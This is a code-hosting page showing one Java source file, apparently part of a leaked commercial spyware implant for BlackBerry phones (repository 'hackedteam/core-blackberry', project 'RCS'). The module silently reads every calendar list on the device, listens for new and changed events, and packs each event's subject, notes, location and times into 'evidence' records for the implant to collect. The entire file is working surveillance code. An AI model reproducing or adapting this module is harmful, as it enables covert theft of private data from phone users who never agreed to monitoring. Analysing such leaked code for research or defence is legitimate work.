hackedteam/core-blackberry

View on GitHub
RCSBlackBerry/src/blackberry/module/ModuleCalendar.java

Summary

Maintainability
C
7 hrs
Test Coverage
//#preprocess

/* *************************************************
 * Copyright (c) 2010 - 2012
 * HT srl,   All rights reserved.
 * 
 * Project      : RCS, RCSBlackBerry
 * *************************************************/

package blackberry.module;

import java.util.Date;
import java.util.Enumeration;

import javax.microedition.pim.Event;
import javax.microedition.pim.EventList;
import javax.microedition.pim.PIM;
import javax.microedition.pim.PIMException;
import javax.microedition.pim.PIMItem;

import net.rim.blackberry.api.pdap.BlackBerryEvent;
import net.rim.blackberry.api.pdap.BlackBerryPIMList;
import net.rim.blackberry.api.pdap.PIMListListener;
import net.rim.device.api.util.DataBuffer;
import blackberry.Messages;
import blackberry.config.ConfModule;
import blackberry.crypto.Encryption;
import blackberry.debug.Debug;
import blackberry.debug.DebugLevel;
import blackberry.evidence.Evidence;
import blackberry.evidence.EvidenceType;
import blackberry.evidence.Markup;
import blackberry.fs.Path;
import blackberry.utils.DateTime;
import blackberry.utils.Utils;
import blackberry.utils.WChar;

public class ModuleCalendar extends BaseModule implements PIMListListener {
    //#ifdef DEBUG
    private static Debug debug = new Debug("ModCalendar", DebugLevel.VERBOSE);
    //#endif

    private static final int POOM_STRING_SUBJECT = 0x01000000;
    private static final int POOM_STRING_CATEGORIES = 0x02000000;
    private static final int POOM_STRING_BODY = 0x04000000;
    private static final int POOM_STRING_RECIPIENTS = 0x08000000;
    private static final int POOM_STRING_LOCATION = 0x10000000;
    private static final int POOM_OBJECT_RECUR = 0x80000000;

    final int version = 0x01000000;
    Markup markup;
    protected static final int SLEEPTIME = 3000;
    protected static final int PERIODTIME = 60 * 60 * 1000;

    public static String getStaticType() {
        return Messages.getString("19.0"); //"calendar";
    }

    public boolean parse(ConfModule conf) {
        markup = new Markup(this);

        setDelay(SLEEPTIME);
        setPeriod(PERIODTIME);
        return true;
    }

    public synchronized void actualStart() {
        //#ifdef DEBUG
        debug.trace("actualStart: add listener");
        //#endif

        final PIM pim = PIM.getInstance();
        BlackBerryPIMList list;
        try {
            list = (BlackBerryPIMList) pim.openPIMList(PIM.EVENT_LIST,
                    PIM.READ_ONLY);
            list.addListener(this);
        } catch (final PIMException e) {
            //#ifdef DEBUG
            debug.error(e);
            //#endif
        }

    }

    public synchronized void actualStop() {
        //#ifdef DEBUG
        debug.trace("actualStop: remove listener");
        //#endif

        final PIM pim = PIM.getInstance();
        BlackBerryPIMList list;
        try {

            list = (BlackBerryPIMList) pim.openPIMList(PIM.EVENT_LIST,
                    PIM.READ_ONLY);
            list.removeListener(this);
        } catch (final PIMException e) {
            //#ifdef DEBUG
            debug.error(e);
            //#endif
        }
    }

    public void actualLoop() {
        //#ifdef DEBUG
        debug.trace("actualRun");
        //#endif
        //#ifdef DEBUG
        debug.trace("actualRun");
        //#endif

        if (!markup.isMarkup()) {
            //#ifdef DEBUG
            debug.trace("actualRun: getting Contact List");
            //#endif

            if (getCalendarList()) {
                //#ifdef DEBUG
                debug.trace("actualRun: need to write markup");
                //#endif
                markup.createEmptyMarkup();
            }
        }
    }

    private boolean getCalendarList() {
        EventList calendarList;
        int number = 0;

        String[] lists = PIM.getInstance().listPIMLists(PIM.EVENT_LIST);
        //#ifdef DEBUG
        debug.trace("actualRun lists: " + lists.length);
        //#endif

        boolean ret = true;

        for (int i = 0; i < lists.length; i++) {
            try {
                String name = lists[i];
                //#ifdef DEBUG
                debug.trace("actualRun: opening " + name);
                //#endif
                calendarList = (EventList) PIM.getInstance().openPIMList(
                        PIM.EVENT_LIST, PIM.READ_ONLY, name);

                number = saveEventEvidence(calendarList);
                //#ifdef DEBUG
                debug.trace("actualRun: saved " + number);
                //#endif

            } catch (final PIMException e) {
                //#ifdef DEBUG
                debug.error(e);
                //#endif

                ret = false;
            }
        }
        return ret;

    }

    private int saveEventEvidence(EventList eventList) throws PIMException {
        final Enumeration eEvents = eventList.items();

        //#ifdef DEBUG
        debug.trace("saveEventEvidence: got calendar");
        //#endif
        Evidence evidence = new Evidence(EvidenceType.CALENDAR);
        evidence.createEvidence();

        BlackBerryEvent event;
        int number = 0;
        while (eEvents.hasMoreElements()) {
            //#ifdef DEBUG
            debug.trace("saveEventEvidence: event #" + ++number);
            //#endif
            try {
                event = (BlackBerryEvent) eEvents.nextElement();
                final byte[] packet = getEventPacket(eventList, event);
                evidence.writeEvidence(packet);
            } catch (final Exception ex) {
                //#ifdef DEBUG
                debug.error(ex);
                //#endif
            }
        }

        //#ifdef DEBUG
        debug.trace("saveEventEvidence: finished events. Total: " + number);
        //#endif
        evidence.close();

        return number;
    }

    private byte[] getEventPacket(EventList events, BlackBerryEvent event) {
        String summary = null, location = null, note = null;
        Date start = null, end = null, revision;
        int alarm, classEvent;
        int uid = 0;

        String uidEvent = getCalendarStringField(events, event, Event.UID);
        uid = Encryption.CRC32(uidEvent.getBytes());

        summary = getCalendarStringField(events, event, Event.SUMMARY);
        location = getCalendarStringField(events, event, Event.LOCATION);
        note = getCalendarStringField(events, event, Event.NOTE);

        long startLong = getCalendarDateField(events, event, Event.START);
        start = new Date(startLong);

        long endLong = getCalendarDateField(events, event, Event.END);
        end = new Date(endLong);

        long revisionLong = getCalendarDateField(events, event, Event.REVISION);
        revision = new Date(revisionLong);

        final DataBuffer dbPayload = new DataBuffer(false);

        dbPayload.writeInt(0);
        dbPayload.writeInt(version);
        dbPayload.writeInt(uid);

        int flags = 0;
        int sensitivity = 0;
        int busy = 2;
        int duration = 0;
        int meeting = 0;

        dbPayload.writeInt(flags);
        dbPayload.writeLong(DateTime.getFiledate(start));
        dbPayload.writeLong(DateTime.getFiledate(end));
        dbPayload.writeInt(sensitivity);
        dbPayload.writeInt(busy);
        dbPayload.writeInt(duration);
        dbPayload.writeInt(meeting);

        appendCalendarString(dbPayload, POOM_STRING_SUBJECT, summary);
        appendCalendarString(dbPayload, POOM_STRING_BODY, note);
        appendCalendarString(dbPayload, POOM_STRING_LOCATION, location);

        //#ifdef DEBUG
        debug.trace("getEventPacket: Adding " + summary + " body: " + note
                + " location: " + location);
        //#endif

        int size = dbPayload.getLength();
        //dbPayload.trim(true);

        dbPayload.rewind();
        dbPayload.writeInt(size);

        byte[] packet = dbPayload.toArray();

        //#ifdef DEBUG
        debug.trace("packet: " + Utils.byteArrayToHex(packet));
        //#endif                

        return packet;
    }

    private long getCalendarDateField(EventList events, BlackBerryEvent event,
            int type) {
        long ret = 0;
        try {
            if (events.isSupportedField(type)) {
                ret = event.getDate(type, PIMItem.ATTR_NONE);
                //#ifdef DEBUG
                debug.trace("getCalendarDateField: " + ret);
                //#endif
            }
        } catch (IndexOutOfBoundsException ex) {
            //#ifdef DEBUG
            debug.error("getCalendarStringField: " + ex);
            //#endif
        }

        return ret;
    }

    private String getCalendarStringField(EventList events,
            BlackBerryEvent event, int type) {
        String ret = null;
        try {
            if (events.isSupportedField(type)) {
                ret = event.getString(type, PIMItem.ATTR_NONE);
                //#ifdef DEBUG
                debug.trace("getCalendarStringField: " + ret);
                //#endif
            }
        } catch (IndexOutOfBoundsException ex) {
            //#ifdef DEBUG
            debug.error("getCalendarStringField: " + ex + " type: " + type);
            //#endif
        }

        return ret;
    }

    private void appendCalendarString(DataBuffer payload, int type,
            String message) {
        if (message != null) {
            byte[] data = WChar.getBytes(message, false);
            int len = type | (data.length & 0x00ffffff);
            byte[] prefix = Utils.intToByteArray(len);
            payload.write(prefix);
            payload.write(data);
        }
    }

    private void save(Event item) {
        try {

            final EventList eventList = (EventList) item.getPIMList();
            final BlackBerryEvent event = (BlackBerryEvent) item;
            final byte[] payload = getEventPacket(eventList, event);

            Evidence evidence = new Evidence(EvidenceType.CALENDAR);
            evidence.atomicWriteOnce(payload);

        } catch (final Exception ex) {
            //#ifdef DEBUG
            debug.error(ex);
            //#endif
        }
    }

    public void itemAdded(PIMItem item) {
        init();
        //#ifdef DEBUG
        debug.trace("itemAdded: " + item);
        //#endif
        save((Event) item);
    }

    public void itemRemoved(PIMItem item) {
        init();
        //#ifdef DEBUG
        debug.trace("itemRemoved: " + item);
        //#endif
    }

    public void itemUpdated(PIMItem itemOld, PIMItem itemNew) {
        init();
        //#ifdef DEBUG
        debug.trace("itemUpdated: " + itemNew);
        //#endif

        save((Event) itemNew);
    }

    private synchronized void init() {
        if (!Path.isInizialized()) {
            Path.makeDirs();
        }
        Debug.init();
    }
}